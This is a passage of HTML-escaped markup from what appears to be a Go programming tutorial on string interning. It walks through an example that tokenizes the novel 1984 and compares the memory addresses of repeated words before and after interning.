    &lt;/span&gt;&lt;span class="nx"&gt;s2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;si&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Intern&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;strconv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Itoa&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;fmt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;stringptr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;s1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;stringptr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;s2&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// true&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let's take a look at a few examples where interning could be useful.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="example-1-text-processing"&gt;
&lt;h3&gt;Example 1: Text processing&lt;a class="headerlink" href="#example-1-text-processing" title="Permalink to this headline"&gt; #&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Lexers, parsers and other text processing tools can greatly benefit from storing only distinct string values in memory.&lt;/p&gt;
&lt;p&gt;The following program reads George Orwell's novel 1984 from a file and tokenizes it into a slice of words for further processing:&lt;/p&gt;
&lt;pre class="code go literal-block"&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;bufio&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;log&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;os&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;1984.txt&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Fatal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;defer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;

    &lt;/span&gt;&lt;span class="nx"&gt;scanner&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;bufio&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;NewScanner&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;f&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;scanner&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;bufio&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ScanWords&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;

    &lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;words&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;scanner&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Scan&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nx"&gt;words&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;words&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;scanner&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Text&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;scanner&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Fatal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

    &lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;words&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The book contains 103549 words, the length of all words combined is 483016 bytes. It's important to note that the number of unique words is much smaller - 15585.&lt;/p&gt;
&lt;p&gt;If we take a look at a part of the &lt;span class="docutils literal"&gt;words&lt;/span&gt; slice we can see the same words (&lt;span class="docutils literal"&gt;IS&lt;/span&gt; in our example) having different addresses in memory:&lt;/p&gt;
&lt;pre class="code go literal-block"&gt;&lt;code&gt;&lt;span class="nx"&gt;fmt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;words&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1111&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;1120&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;range&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;words&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1111&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;1120&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;fmt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%x &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;stringptr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;word&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;WAR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;IS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PEACE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;FREEDOM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;IS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;SLAVERY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;IGNORANCE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;IS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;STRENGTH&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
     &lt;/span&gt;&lt;span class="p"&gt;^&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;^&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;^&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="nx"&gt;c0000159fa&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;c0000159fe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;c000015a00&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;c000015a05&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;c000015a0c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;c000015a10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;c000015a17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;c000015a20&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;c000015a28&lt;/span&gt;&lt;span class="w"&gt;
           &lt;/span&gt;&lt;span class="p"&gt;^&lt;/span&gt;&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="p"&gt;^&lt;/span&gt;&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="p"&gt;^&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let's modify the program to use string interning:&lt;/p&gt;
&lt;pre class="code go literal-block"&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;bufio&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;log&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;os&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kd"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;stringInterner&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;map&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;si&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;stringInterner&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;InternBytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;interned&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ok&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;si&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)];&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ok&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;interned&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;si&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;1984.txt&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Fatal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;defer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;

    &lt;/span&gt;&lt;span class="nx"&gt;scanner&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;bufio&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;NewScanner&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;f&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;scanner&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;bufio&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ScanWords&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;

    &lt;/span&gt;&lt;span class="nx"&gt;si&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;stringInterner&lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;words&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;scanner&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Scan&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nx"&gt;words&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;words&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;si&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;InternBytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;scanner&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Bytes&lt;/span&gt;&lt;span class="p"&gt;()))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// intern words&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;scanner&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Fatal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

    &lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;words&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now the words slice consists of strings that point to the string intern pool. All instances of &lt;span class="docutils literal"&gt;IS&lt;/span&gt; have the same address in memory:&lt;/p&gt;
&lt;pre class="code go literal-block"&gt;&lt;code&gt;&lt;span class="nx"&gt;fmt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;words&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1111&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;1120&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;range&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;words&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1111&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;1120&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;fmt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%x &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;stringptr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;word&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt;
